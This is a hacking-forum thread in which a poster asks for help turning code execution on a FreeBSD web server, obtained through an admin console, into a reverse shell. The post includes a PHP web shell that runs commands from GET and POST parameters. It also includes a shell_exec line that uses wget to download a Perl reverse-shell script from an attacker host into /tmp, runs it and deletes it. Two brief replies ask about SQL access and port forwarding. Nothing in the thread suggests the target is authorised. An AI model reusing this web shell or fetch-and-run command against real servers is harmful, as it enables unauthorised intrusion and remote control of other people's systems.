Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

LFI to Full Shell

I am working on a web server running FreeBSD 9 where I have access to an administrative console. I am able to create a new database and add a text field with php code that enables remote code execution via a url.

PHP code I am using for RCE is below
<?php system($_GET["cmd"]); eval($_POST["id"]); ?>

I am able to see an incoming connection when I use the below php code to download a rev shell script but its not executing and no incoming shell hits my nc listener. I am able to write to the /tmp directory and the target has perl, wget and php version 5.4.23 and apache running.
php echo shell_exec("/usr/local/bin/wget -P /tmp ATTACKERIP/revperl.pl; /usr/bin/perl revperl.pl; rm -f revperl.pl");

I am trying to get a reverse shell and have tried various techniques but still not able to get a full shell.

Any help would be appreciated

Thanks
You are saying you are able to create database can you execute sql commands?
You haven't said, so I'll ask, have you portforward?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by -DownFallAug 31, 2017 04:32 PM 127 16,932 Aug 31, 2017 04:32 PM
Last Post: IceCr4cKeR
by tettraJun 3, 2017 08:59 AM 0 140 Jun 3, 2017 08:59 AM
Last Post: tettra
by poision-v1p3RApr 18, 2017 12:35 AM 37 2,389 Apr 18, 2017 12:35 AM
Last Post: Malicious Intent